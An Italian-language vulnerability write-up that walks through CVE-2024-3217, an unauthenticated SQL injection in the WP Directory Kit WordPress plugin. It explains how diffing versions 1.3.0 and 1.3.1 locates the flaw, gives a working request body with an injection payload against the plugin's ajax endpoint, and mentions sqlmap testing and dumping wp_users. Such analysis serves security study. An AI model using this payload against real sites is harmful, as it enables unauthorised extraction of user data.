Exploit proof-of-concept per CVE-2024-3217, una SQL injection non autenticata nel plugin WordPress WP Directory Kit, che consente l'estrazione di dati sensibili dal database.
Il plugin WP Directory Kit per WordPress è vulnerabile a SQL Injection tramite i parametri 'attribute_value' e 'attribute_id' in tutte le versioni fino alla 1.3.0 inclusa, a causa di un escaping insufficiente sul parametro fornito dall'utente e della mancanza di una preparazione adeguata sulla query SQL esistente. Ciò consente ad attaccanti autenticati, con accesso di livello subscriber e superiore, di aggiungere ulteriori query SQL a quelle già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
ho installato la versione corretta tramite wordpress
https://wordpress.org/plugins/wpdirectorykit/
se vuoi una versione precedente clicca su Advanced View

vogliamo scaricare la 1.3.0 e la 1.3.1 per confrontare le differenze
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
quando fai il diff e cerchi i valori di 'attribute_value' e 'attribute_id' li ho trovati in questo file
\wpdirectorykit\application\controllers\Wdk_frontendajax.php ho usato un'estensione chiamata "folder diff" in vs code

nella versione 1.3.0 la funzione "sanitize_text_field" era utilizzata, ma il problema non è direttamente qui, si trova più in basso in questa parte

possiamo vedere che se "$attr_search" è numerico controlleremo $id_part = "$attr_id=$attr_search OR "; che verrà utilizzato come parte della query SQL e poiché non possiamo usare " ' " dato che fa parte di una query non ne abbiamo bisogno per l'escape, possiamo includere direttamente la nostra parte di injection nel codice
che verrà utilizzata qui

ora dobbiamo creare una richiesta che raggiunga queste parti e inserire un valore numerico per "$attr_search" poi fare la nostra injection e, in base alla descrizione, sembra che il livello minimo sia "subscriber-level", verificheremo questo in seguito

offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

ora lo testeremo con SQLMAP per PoC

ora proviamo a trovare i privilegi minimi necessari, partiamo senza cookie (0 privilegi) e costruiamo a partire dal minimo privilegio

dopo aver cancellato i cookie l'output è ancora valutato, proviamo il payload di sqlmap per conferma

è un Proof Of Concept, non sono necessari cookie per questo attacco. Creiamo un semplice payload per estrarre tutti i valori da wp_users
